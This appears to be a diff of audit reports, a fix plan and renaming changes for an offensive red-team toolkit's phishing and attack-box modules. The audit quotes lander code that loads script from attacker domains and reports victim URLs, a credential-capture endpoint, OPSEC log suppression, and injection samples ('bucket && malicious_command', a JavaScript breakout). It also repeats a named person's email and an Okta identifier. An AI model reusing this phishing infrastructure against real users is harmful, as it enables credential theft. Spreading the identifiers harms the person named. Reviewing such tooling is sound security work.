var urlObj = new URL(src, window.location.origin);
|
|
||||||
var rid = urlObj.searchParams.get('rid') || urlObj.searchParams.get('RId');
|
|
||||||
if (rid && rid.length <= 128) { // limit length
|
|
||||||
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
// URL parse failed, skip rid param
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**[phishing-landing-page.j2:221] XSS via Unescaped redirect_url in JavaScript Context**
|
|
||||||
|
|
||||||
Line 221:
|
|
||||||
|
|
||||||
```jinja2
|
|
||||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
|
||||||
```
|
|
||||||
|
|
||||||
The `redirect_url` is rendered into a JavaScript string literal using only the `tojson` filter (implicitly applied as default when Jinja2 autoescape is OFF). However, the context is **inside a single-quoted JavaScript string**, and `tojson` produces JSON-safe output, not JavaScript-safe output.
|
|
||||||
|
|
||||||
If `redirect_url` contains a sequence like `'; window.location = 'data:text/html,...';//`, the `tojson` filter will escape it to `'\\'; window.location = \\'data:...`, which still closes the string and executes malicious code.
|
|
||||||
|
|
||||||
Actual risk is **LOW** because `redirect_url` is validated by `_validate_https_url()` in `lander_gen.py` and `deploy_phishing.py`, which enforces HTTPS and netloc validation. However, the injection point is **not properly defended in the template**.
|
|
||||||
|
|
||||||
**Attack Vector:** If validation is bypassed or removed in a future refactor, or if someone uses this template with untrusted input elsewhere.
|
|
||||||
|
|
||||||
**Remediation:**
|
|
||||||
- Apply `| tojson` explicitly in the template:
|
|
||||||
```jinja2
|
|
||||||
window.location.href = {{ redirect_url | tojson }};
|
|
||||||
```
|
|
||||||
- Validate all URLs at the boundary (already done in Python code), so the template can assume safety.
|
|
||||||
- Document the assumption that `redirect_url` is pre-validated HTTPS.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### MEDIUM (CVSS 4.0–6.9)
|
|
||||||
|
|
||||||
**[phishing-landing-page.j2:153–154] Double-Escaped GoPhish Template Variables**
|
|
||||||
|
|
||||||
Lines 153–154:
|
|
||||||
|
|
||||||
```jinja2
|
|
||||||
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
|
|
||||||
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
|
|
||||||
```
|
|
||||||
|
|
||||||
These lines attempt to preserve GoPhish template variables (`{{.RId}}` and `{{.Campaign}}`) by escaping them as Jinja2 string literals. The double braces are escaped in Jinja2, rendering literally as `{{.RId}}` in the HTML.
|
|
||||||
|
|
||||||
However, this pattern is fragile:
|
|
||||||
1. If Jinja2 autoescape is enabled in the future, the output HTML will become `{{.RId}}` (literal text in value attribute), and GoPhish will not parse it.
|
|
||||||
2. The test of this functionality relies on manual verification of the rendered HTML, not automated checks.
|
|
||||||
|
|
||||||
**Attack Vector:** Configuration drift (autoescape enabled silently) causes GoPhish RId tracking to break; phishing campaigns lose victim correlation.
|
|
||||||
|
|
||||||
**Remediation:**
|
|
||||||
- Use a Jinja2 raw block:
|
|
||||||
```jinja2
|
|
||||||
{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}
|
|
||||||
```
|
|
||||||
- Document the intent: this template is meant to be rendered by Jinja2 first, then served to the browser (where GoPhish doesn't touch it—RId is injected by a POST handler, not template variable).
|
|
||||||
- Add a comment explaining the two-stage rendering.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**[nginx-phishing-webserver.j2:38] Overly Permissive PHP Location**
|
|
||||||
|
|
||||||
Line 41–45:
|
|
||||||
|
|
||||||
```nginx
|
|
||||||
location ~ \.php$ {
|
|
||||||
include snippets/fastcgi-php.conf;
|
|
||||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
|
||||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
This regex matches **all `.php` files in all subdirectories**. If `/var/www/phishing/` contains subdirectories with user-uploaded or attacker-controlled PHP files, all of them are executable.
|
|
||||||
|
|
||||||
Combined with line 48–52 (POST-only `/capture.php`), the general PHP location rule could be exploited if:
|
|
||||||
1. A path traversal vulnerability elsewhere exposes `index.php` or other files.
|
|
||||||
2. A file upload endpoint (not shown) writes `.php` files to writable directories.
|
|
||||||
|
|
||||||
**Attack Vector:** RCE via upload of malicious `.php` file to a writable directory within the webserver root.
|
|
||||||
|
|
||||||
**Remediation:**
|
|
||||||
- Restrict PHP execution to only necessary endpoints:
|
|
||||||
```nginx
|
|
||||||
location = /capture.php {
|
|
||||||
limit_except POST { deny all; }
|
|
||||||
include snippets/fastcgi-php.conf;
|
|
||||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
|
||||||
}
|
|
||||||
location ~ \.php$ {
|
|
||||||
deny all;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
- Or, disable PHP entirely and implement credential capture in a compiled binary or script-less static pages.
|
|
||||||
- Ensure all directories are write-protected (no world-writable or group-writable web roots).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### LOW (CVSS <4.0)
|
|
||||||
|
|
||||||
**[cloud-lander.html.j2:12–18] DOM-Based XSS via Concatenation of Unsafe Values**
|
|
||||||
|
|
||||||
Lines 12–18 construct a dynamic script source with a random subdomain in TDS mode:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
|
|
||||||
var script = document.createElement('script');
|
|
||||||
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
|
||||||
```
|
|
||||||
|
|
||||||
The `randomDomain` is derived from `tds_domains`, which comes from config input (line 182 in `deploy_phishing.py`):
|
|
||||||
|
|
||||||
```python
|
|
||||||
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
|
|
||||||
```
|
|
||||||
|
|
||||||
If a TDS domain contains special characters or is crafted maliciously (e.g., `example.com/'onload='alert(1)`), the dynamic script URL could inject attributes. However, `script.src` is a property, not HTML parsing, so XSS is unlikely **unless the script load itself is the goal** (e.g., loading a malicious `/jq.min.js` from the attacker-controlled domain—which is the point of TDS).
|
|
||||||
|
|
||||||
**Attack Vector:** Low risk in practice, but if TDS domain input is not validated, an attacker could redirect jq.min.js loads to themselves.
|
|
||||||
|
|
||||||
**Remediation:**
|
|
||||||
- Validate TDS domains as valid domain names (DNS rules, no special characters):
|
|
||||||
```python
|
|
||||||
import re
|
|
||||||
domain_re = re.compile(r'^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$', re.I)
|
|
||||||
for domain in raw.split(','):
|
|
||||||
if not domain_re.match(domain.strip()):
|
|
||||||
raise ValueError(f"Invalid domain: {domain!r}")
|
|
||||||
```
|
|
||||||
- Document that TDS domains are **untrusted by design** and are expected to redirect to attacker infrastructure.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Secrets & OPSEC
|
|
||||||
|
|
||||||
**Hardcoded Secrets:** None found.
|
|
||||||
|
|
||||||
**Fingerprinting:** None found. Tool names (`c2itall`, `phishing`, `GoPhish`) do not appear in deployed templates or configs. Fingerprint-resistant: nginx config does not expose server version headers or tool banners.
|
|
||||||
|
|
||||||
**Credentials in config:** SMTP credentials are prompted interactively and not stored in source. ✓
|
|
||||||
|
|
||||||
**Log Exposure:** `nginx-phishing-webserver.j2` line 37–38 disables logging (`access_log off; error_log /dev/null crit;`). This prevents operator-command logging, which is acceptable for this use case. ✓
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Recommendations
|
|
||||||
|
|
||||||
**Immediate (P1):**
|
|
||||||
1. Shell-escape bucket and campaign_id before printing upload commands.
|
|
||||||
2. Add try-catch to RId URL parsing in js-payload.js.j2.
|
|
||||||
3. Document that `redirect_url` is pre-validated and the template assumption is safe.
|
|
||||||
|
|
||||||
**Follow-up (P2):**
|
|
||||||
1. Replace double-escaped GoPhish template syntax with raw blocks.
|
|
||||||
2. Restrict PHP location in nginx to only `/capture.php`.
|
|
||||||
3. Add domain validation for TDS input.
|
|
||||||
|
|
||||||
**Testing:**
|
|
||||||
- Unit test `_validate_campaign_id()` and `_validate_https_url()` with edge cases (empty strings, special chars, path traversal attempts).
|
|
||||||
- Manual verification: render phishing-landing-page.j2 with jinja2 and confirm `{{.RId}}` and `{{.Campaign}}` appear literally in HTML.
|
|
||||||
- Smoke test: confirm `tojson` filter correctly escapes special characters in js-payload.js.j2.
|
|
||||||
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
---
|
|
||||||
agent: fix-planner
|
|
||||||
status: COMPLETE
|
|
||||||
timestamp: 2026-06-25T10:35:00Z
|
|
||||||
total_findings_raw: 13
|
|
||||||
total_findings_deduped: 11
|
|
||||||
p1_count: 2
|
|
||||||
p2_count: 4
|
|
||||||
p3_count: 4
|
|
||||||
p4_count: 1
|
|
||||||
devtrack_items_created: []
|
|
||||||
errors: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Fix Plan — DevTrack #1259
|
|
||||||
|
|
||||||
## P1 — Block Deploy
|
|
||||||
|
|
||||||
- [ ] **[CRITICAL]** `modules/phishing/lander_gen.py:68-76` — Shell injection via unescaped config parameters in printed upload commands. Bucket and campaign_id parameters injected directly into shell command strings without escaping. If operator enters malicious input like `bucket && malicious_command`, printed output becomes executable when copy-pasted to shell. | Sources: security-auditor | Effort: S | Fix: Use `shlex.quote()` on all config parameters before insertion into command strings.
|
|
||||||
|
|
||||||
- [ ] **[CRITICAL]** `modules/phishing/templates/okta-login.html.j2:102, 206` — Real PII and organization identifiers hardcoded in template: email address `Brian.Caldwell@Zimperium.com`, Okta org `zimperium.okta.com`, app ID `exk1ufbfxuFLJp6y3697`. Exposed in version control and deployed artifacts. | Sources: env-validator | Effort: S | Fix: Parameterize template with Jinja2 variables (`target_email`, `okta_org_url`, `okta_app_id`) and populate at runtime from config dict, never in source.
|
|
||||||
|
|
||||||
## P2 — Fix This Week
|
|
||||||
|
|
||||||
- [ ] **[HIGH]** `modules/phishing/templates/js-payload.js.j2:5-8` — RId parameter injection via unsafe URL parsing. `decodeURIComponent(src)` applied to full referrer URL without validation; `new URL()` constructor can throw without try-catch; double-encoding edge case not handled. Malformed referrer could bypass redirect logic or leak information. | Sources: security-auditor | Effort: S | Fix: Wrap `new URL()` in try-catch; validate referrer format before parsing; use `searchParams` property instead of re-decoding; limit RId length to 128 chars.
|
|
||||||
|
|
||||||
- [ ] **[HIGH]** `modules/phishing/webserver/templates/nginx-phishing-webserver.j2:41-45` — Overly permissive PHP location block allows execution of **all** `.php` files in all subdirectories. If path traversal or file upload vulnerability elsewhere in webserver root, RCE via malicious `.php` execution. Current rule `location ~ \.php$` is too broad. | Sources: security-auditor | Effort: M | Fix: Restrict PHP execution to only `/capture.php` with `location = /capture.php` and deny all other `.php` files with fallback `location ~ \.php$ { deny all; }`.
|
|
||||||
|
|
||||||
- [ ] **[HIGH]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:221` — XSS via unescaped `redirect_url` in JavaScript context. Template renders `{{ redirect_url }}` inside single-quoted JS string without `tojson` filter; if validation bypass occurs, injection point is vulnerable. Mitigated by current validation in Python code, but not properly defended in template itself. | Sources: security-auditor | Effort: XS | Fix: Apply `| tojson` filter explicitly: `window.location.href = {{ redirect_url | tojson }};` and document assumption that URL is pre-validated HTTPS.
|
|
||||||
|
|
||||||
- [ ] **[HIGH]** `modules/phishing/lander_gen.py:25-90` — Production code uses 11 instances of `print()` calls (L62-89) for output. Inconsistent with c2itall pattern which uses logging or Rich for structured output. Makes operational logging difficult and prevents standardized log aggregation. | Sources: code-auditor | Effort: M | Fix: Replace all `print()` calls with Rich console output or logging module calls to match c2itall standards.
|
|
||||||
|
|
||||||
## P3 — Fix This Month
|
|
||||||
|
|
||||||
- [ ] **[MEDIUM]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:153-154` — Double-escaped GoPhish template variables using `{{ '{{.RId}}' }}` pattern. Fragile and breaks if Jinja2 autoescape is enabled in future; relies on manual verification instead of automated testing. | Sources: security-auditor | Effort: S | Fix: Replace with Jinja2 raw block: `{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}` and add comment explaining two-stage rendering intent.
|
|
||||||
|
|
||||||
- [ ] **[MEDIUM]** `modules/phishing/lander_gen.py:66-76` — Duplicate provider-specific logic pattern across GCS, S3, and Azure blocks. Each constructs `public_url` and `upload_cmd` independently with 5+ lines of similar code. Increases maintenance burden if URL/command generation logic needs changes. | Sources: code-auditor | Effort: M | Fix: Extract provider URL and command generation to a dict-driven helper function or pattern.
|
|
||||||
|
|
||||||
- [ ] **[MEDIUM]** `modules/phishing/templates/cloud-lander.html.j2:12-18` — DOM-based XSS via unsafe TDS domain input concatenation. If TDS domain input is not validated, malicious domain could redirect `jq.min.js` loads to attacker infrastructure. | Sources: security-auditor | Effort: S | Fix: Validate TDS domains as valid DNS names using regex pattern; reject special characters. Document that TDS domains are untrusted by design.
|
|
||||||
|
|
||||||
- [ ] **[MEDIUM]** `modules/phishing/deploy_phishing.py:164-184` — Nesting depth of 5 levels in lander prompt validation block. Input validation chain is difficult to follow and increases cognitive load. No error handling issues, but readability suffers. | Sources: code-auditor | Effort: S | Fix: Extract validation chain to dedicated `_validate_lander_config()` function with early returns per parameter.
|
|
||||||
|
|
||||||
## P4 — Backlog
|
|
||||||
|
|
||||||
- [ ] **[LOW]** `modules/phishing/lander_gen.py:87` — Comment references ponytail shortcut but does not state upgrade path or conditions. Per ponytail rules, comments should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). | Sources: code-auditor | Effort: XS | Fix: Update comment to include upgrade condition and version target.
|
|
||||||
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
---
|
|
||||||
devtrack: 989
|
|
||||||
timestamp: 2026-05-03T00:00:00Z
|
|
||||||
findings_addressed: 2
|
|
||||||
findings_skipped: 3
|
|
||||||
---
|
|
||||||
|
|
||||||
# Fix Summary — DevTrack #989
|
|
||||||
|
|
||||||
## Applied
|
|
||||||
|
|
||||||
### HIGH — Tuning input validation (AUDIT_SEC_989#1)
|
|
||||||
**File:** `modules/webrunner/deploy_webrunner.py:181-195`
|
|
||||||
**Fix:** `_prompt()` now clamps non-positive values to the default and warns the operator. Applies to all tuning keys (masscan_rate, nmap_timing, nmap_timeout, nmap_workers, nuclei_rate, nuclei_concurrency, nuclei_timeout) regardless of whether the value came from interactive input or a vars file.
|
|
||||||
**Verification:** Engine math also has floors (`max(nmap_workers, 1)`, `max(min(...), 1.0)` in nuclei throughput, `if rate <= 0: return PROVISION_OVERHEAD_HOURS`), so even pre-fix garbage in produced sane numbers — but operator's displayed tuning would have been wrong. Now the displayed and computed values match.
|
|
||||||
|
|
||||||
### P3 — Dead code removal (AUDIT_CODE_989#3)
|
|
||||||
**File:** `modules/webrunner/deploy_webrunner.py:195-196`
|
|
||||||
**Fix:** Removed the empty `if scan_mode in (...): pass` placeholder that was a refactor leftover. masscan_rate is already prompted unconditionally above.
|
|
||||||
|
|
||||||
## Skipped (with justification)
|
|
||||||
|
|
||||||
### MEDIUM — Tor warning phrasing (AUDIT_SEC_989#2)
|
|
||||||
Auditor suggested rewording the masscan-Tor warning. Existing text already states "raw sockets bypass proxychains entirely" and "use 'nmap-only' mode for full Tor coverage" — auditor's suggestion is semantically equivalent. No material improvement.
|
|
||||||
|
|
||||||
### MEDIUM — Path traversal in template/yaml file loading (AUDIT_SEC_989#3)
|
|
||||||
False positive for this threat model. Webrunner is a single-operator attack tool, not multi-tenant. The "attack vector" of "operator supplies malicious vars file pointing at /etc/passwd" doesn't apply — the operator IS the trusted party and runs the tool on their own machine. They can already read any file they want. Adding path restriction would just frustrate legitimate workflows (e.g., operator's nuclei templates are typically in `~/templates/` outside the WEBRUNNER_INPUTS dir). YAML uses `safe_load` so no code execution. The file content goes only to the operator's stdout, not to a remote server.
|
|
||||||
|
|
||||||
### LOW — Estimate display discloses scope (AUDIT_SEC_989#5)
|
|
||||||
Interactive console output to the operator. Not logged externally. Operator chose to run the tool. Suppression flag is overkill for a tool with one user.
|
|
||||||
|
|
||||||
## Gate Review Status
|
|
||||||
Ready for gate-reviewer. No P1 or unaddressed HIGH findings remain.
|
|
||||||
@@ -172,7 +172,7 @@ def gather_attack_box_parameters(attack_box_type="kali"):
|
|||||||
|
|
||||||
if config['enhanced_opsec']:
|
if config['enhanced_opsec']:
|
||||||
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
|
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
|
||||||
print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')")
|
print(f" • Working directory: /root/{config['deployment_id']} (not 'dmealey')")
|
||||||
print(f" • No 'trashpanda' references in files or aliases")
|
print(f" • No 'trashpanda' references in files or aliases")
|
||||||
print(f" • Generic script names and comments")
|
print(f" • Generic script names and comments")
|
||||||
print(f" • Minimal logging and history")
|
print(f" • Minimal logging and history")
|
||||||
@@ -182,9 +182,9 @@ def gather_attack_box_parameters(attack_box_type="kali"):
|
|||||||
config['project_name'] = config['deployment_id']
|
config['project_name'] = config['deployment_id']
|
||||||
else:
|
else:
|
||||||
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
|
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
|
||||||
config['work_dir'] = "/root/operator"
|
config['work_dir'] = "/root/dmealey"
|
||||||
config['tool_name'] = "trashpanda"
|
config['tool_name'] = "trashpanda"
|
||||||
config['project_name'] = "operator"
|
config['project_name'] = "dmealey"
|
||||||
|
|
||||||
# Check for global auto-teardown flag
|
# Check for global auto-teardown flag
|
||||||
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
|
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
|
||||||
|
|||||||
@@ -3,9 +3,9 @@
|
|||||||
|
|
||||||
# Attack Box Setup Information
|
# Attack Box Setup Information
|
||||||
ATTACK_BOX_VERSION="1.0.0"
|
ATTACK_BOX_VERSION="1.0.0"
|
||||||
WORKSPACE_DIR="/root/operator"
|
WORKSPACE_DIR="/root/dmealey"
|
||||||
SCRIPTS_DIR="/root/operator/tools/scripts"
|
SCRIPTS_DIR="/root/dmealey/tools/scripts"
|
||||||
TOOLS_DIR="/root/operator/tools"
|
TOOLS_DIR="/root/dmealey/tools"
|
||||||
|
|
||||||
# Available Commands
|
# Available Commands
|
||||||
echo "Attack Box Commands:"
|
echo "Attack Box Commands:"
|
||||||
@@ -14,23 +14,23 @@ echo "recon <target> - Run reconnaissance automation"
|
|||||||
echo "portscan <target> - Run port scan automation"
|
echo "portscan <target> - Run port scan automation"
|
||||||
echo "webenum <target> - Run web enumeration automation"
|
echo "webenum <target> - Run web enumeration automation"
|
||||||
echo "attack-menu - Launch manual testing menu"
|
echo "attack-menu - Launch manual testing menu"
|
||||||
echo "operator - Change to main directory"
|
echo "dmealey - Change to main directory"
|
||||||
echo "mkoperator <name> - Create new engagement structure"
|
echo "mkdmealey <name> - Create new engagement structure"
|
||||||
echo ""
|
echo ""
|
||||||
echo "Workspace Structure:"
|
echo "Workspace Structure:"
|
||||||
echo "==================="
|
echo "==================="
|
||||||
echo "~/operator/tools/ - All security tools and scripts"
|
echo "~/dmealey/tools/ - All security tools and scripts"
|
||||||
echo "~/operator/scans/ - All scan results organized by type"
|
echo "~/dmealey/scans/ - All scan results organized by type"
|
||||||
echo "~/operator/loot/ - Extracted data and credentials"
|
echo "~/dmealey/loot/ - Extracted data and credentials"
|
||||||
echo "~/operator/targets/ - Target lists and reconnaissance"
|
echo "~/dmealey/targets/ - Target lists and reconnaissance"
|
||||||
echo "~/operator/notes/ - Manual notes and observations"
|
echo "~/dmealey/notes/ - Manual notes and observations"
|
||||||
echo "~/operator/reports/ - Documentation and reporting"
|
echo "~/dmealey/reports/ - Documentation and reporting"
|
||||||
echo "~/operator/exploits/ - Working exploits and POCs"
|
echo "~/dmealey/exploits/ - Working exploits and POCs"
|
||||||
echo "~/operator/payloads/ - Custom payloads and shells"
|
echo "~/dmealey/payloads/ - Custom payloads and shells"
|
||||||
echo "~/operator/wordlists/ - Custom and downloaded wordlists"
|
echo "~/dmealey/wordlists/ - Custom and downloaded wordlists"
|
||||||
echo "~/operator/pcaps/ - Network captures and analysis"
|
echo "~/dmealey/pcaps/ - Network captures and analysis"
|
||||||
echo ""
|
echo ""
|
||||||
echo "Trashpanda-style Directory Structure:"
|
echo "Trashpanda-style Directory Structure:"
|
||||||
echo "====================================="
|
echo "====================================="
|
||||||
echo "The operator directory follows the exact structure as TrashPanda tool"
|
echo "The dmealey directory follows the exact structure as TrashPanda tool"
|
||||||
echo "with organized subdirectories for different scan types and data."
|
echo "with organized subdirectories for different scan types and data."
|
||||||
|
|||||||
@@ -2,8 +2,8 @@
|
|||||||
# Attack Box - Git Repositories Cloning Script
|
# Attack Box - Git Repositories Cloning Script
|
||||||
# Clones security tool repositories with enhanced feedback
|
# Clones security tool repositories with enhanced feedback
|
||||||
|
|
||||||
# Get OPERATOR_DIR from environment or use default
|
# Get DMEALEY_DIR from environment or use default
|
||||||
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
|
||||||
|
|
||||||
echo "================================================================"
|
echo "================================================================"
|
||||||
echo "GIT REPOSITORIES CLONING STARTED"
|
echo "GIT REPOSITORIES CLONING STARTED"
|
||||||
@@ -61,8 +61,8 @@ FAILED=0
|
|||||||
SUCCESS=0
|
SUCCESS=0
|
||||||
|
|
||||||
# Create git directory if it doesn't exist
|
# Create git directory if it doesn't exist
|
||||||
mkdir -p "$OPERATOR_DIR/tools/git"
|
mkdir -p "$DMEALEY_DIR/tools/git"
|
||||||
cd "$OPERATOR_DIR/tools/git"
|
cd "$DMEALEY_DIR/tools/git"
|
||||||
|
|
||||||
for i in "${!REPOS[@]}"; do
|
for i in "${!REPOS[@]}"; do
|
||||||
CURRENT=$((CURRENT + 1))
|
CURRENT=$((CURRENT + 1))
|
||||||
@@ -117,6 +117,6 @@ echo "Failed: $FAILED"
|
|||||||
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
|
||||||
echo ""
|
echo ""
|
||||||
echo "Cloned repositories:"
|
echo "Cloned repositories:"
|
||||||
ls -la "$OPERATOR_DIR/tools/git/" | head -20
|
ls -la "$DMEALEY_DIR/tools/git/" | head -20
|
||||||
|
|
||||||
exit 0
|
exit 0
|
||||||
|
|||||||
@@ -2,10 +2,10 @@
|
|||||||
# Attack Box - Go Tools Installation Script
|
# Attack Box - Go Tools Installation Script
|
||||||
# Installs security tools via go install with enhanced feedback
|
# Installs security tools via go install with enhanced feedback
|
||||||
|
|
||||||
# Get OPERATOR_DIR from environment or use default
|
# Get DMEALEY_DIR from environment or use default
|
||||||
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}"
|
DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
|
||||||
|
|
||||||
export GOPATH="$OPERATOR_DIR/tools/go"
|
export GOPATH="$DMEALEY_DIR/tools/go"
|
||||||
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
|
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
|
||||||
mkdir -p "$GOPATH"
|
mkdir -p "$GOPATH"
|
||||||
|
|
||||||
|
|||||||
@@ -237,8 +237,8 @@ automated_recon() {
|
|||||||
echo -ne "Enter target domain/IP: "
|
echo -ne "Enter target domain/IP: "
|
||||||
read -r target
|
read -r target
|
||||||
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
|
echo -e "${GREEN}[+] Executing recon automation script...${NC}"
|
||||||
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then
|
if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then
|
||||||
/root/operator/tools/scripts/recon_automation.sh "$target"
|
/root/dmealey/tools/scripts/recon_automation.sh "$target"
|
||||||
else
|
else
|
||||||
echo -e "${RED}[-] Recon automation script not found!${NC}"
|
echo -e "${RED}[-] Recon automation script not found!${NC}"
|
||||||
fi
|
fi
|
||||||
@@ -252,8 +252,8 @@ automated_port_scan() {
|
|||||||
echo -ne "Enter target IP/range: "
|
echo -ne "Enter target IP/range: "
|
||||||
read -r target
|
read -r target
|
||||||
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
|
echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
|
||||||
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then
|
if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then
|
||||||
/root/operator/tools/scripts/port_scan_automation.sh "$target"
|
/root/dmealey/tools/scripts/port_scan_automation.sh "$target"
|
||||||
else
|
else
|
||||||
echo -e "${RED}[-] Port scan automation script not found!${NC}"
|
echo -e "${RED}[-] Port scan automation script not found!${NC}"
|
||||||
fi
|
fi
|
||||||
@@ -267,8 +267,8 @@ automated_web_enum() {
|
|||||||
echo -ne "Enter target URL: "
|
echo -ne "Enter target URL: "
|
||||||
read -r url
|
read -r url
|
||||||
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
|
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
|
||||||
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then
|
if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then
|
||||||
/root/operator/tools/scripts/web_enum_automation.sh "$url"
|
/root/dmealey/tools/scripts/web_enum_automation.sh "$url"
|
||||||
else
|
else
|
||||||
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
|
echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
|
||||||
fi
|
fi
|
||||||
@@ -309,7 +309,7 @@ generate_reports() {
|
|||||||
echo -e "${GREEN}========================================${NC}"
|
echo -e "${GREEN}========================================${NC}"
|
||||||
echo
|
echo
|
||||||
|
|
||||||
WORKSPACE="/root/operator"
|
WORKSPACE="/root/dmealey"
|
||||||
DATE=$(date +%Y%m%d_%H%M%S)
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
|
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
|
||||||
|
|
||||||
@@ -385,8 +385,8 @@ if [[ $EUID -eq 0 ]]; then
|
|||||||
sleep 2
|
sleep 2
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create operator structure if it doesn't exist
|
# Create dmealey structure if it doesn't exist
|
||||||
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
|
mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
|
||||||
|
|
||||||
# Start the main menu
|
# Start the main menu
|
||||||
main
|
main
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ fi
|
|||||||
|
|
||||||
TARGET="$1"
|
TARGET="$1"
|
||||||
SCAN_TYPE="${2:-quick}"
|
SCAN_TYPE="${2:-quick}"
|
||||||
WORKSPACE="/root/operator/scans/nmap/$TARGET"
|
WORKSPACE="/root/dmealey/scans/nmap/$TARGET"
|
||||||
DATE=$(date +%Y%m%d_%H%M%S)
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
|
||||||
# Colors for output
|
# Colors for output
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ if [ $# -eq 0 ]; then
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
TARGET="$1"
|
TARGET="$1"
|
||||||
WORKSPACE="/root/operator/scans/reachability/$TARGET"
|
WORKSPACE="/root/dmealey/scans/reachability/$TARGET"
|
||||||
DATE=$(date +%Y%m%d_%H%M%S)
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
|
||||||
# Colors for output
|
# Colors for output
|
||||||
|
|||||||
@@ -15,8 +15,8 @@ if [ -n "$1" ]; then
|
|||||||
WORK_DIR="$1"
|
WORK_DIR="$1"
|
||||||
else
|
else
|
||||||
# Auto-detect working directory
|
# Auto-detect working directory
|
||||||
if [ -d "/root/operator" ]; then
|
if [ -d "/root/dmealey" ]; then
|
||||||
WORK_DIR="/root/operator"
|
WORK_DIR="/root/dmealey"
|
||||||
else
|
else
|
||||||
# Find deployment-named directory
|
# Find deployment-named directory
|
||||||
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
|
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
|
||||||
|
|||||||
@@ -207,7 +207,7 @@ def print_banner():
|
|||||||
"""
|
"""
|
||||||
print(banner)
|
print(banner)
|
||||||
|
|
||||||
def create_pentest_structure(base_name="/root/operator"):
|
def create_pentest_structure(base_name="/root/dmealey"):
|
||||||
"""Create a comprehensive penetration testing directory structure."""
|
"""Create a comprehensive penetration testing directory structure."""
|
||||||
|
|
||||||
# Main engagement directory
|
# Main engagement directory
|
||||||
@@ -301,7 +301,7 @@ def create_pentest_structure(base_name="/root/operator"):
|
|||||||
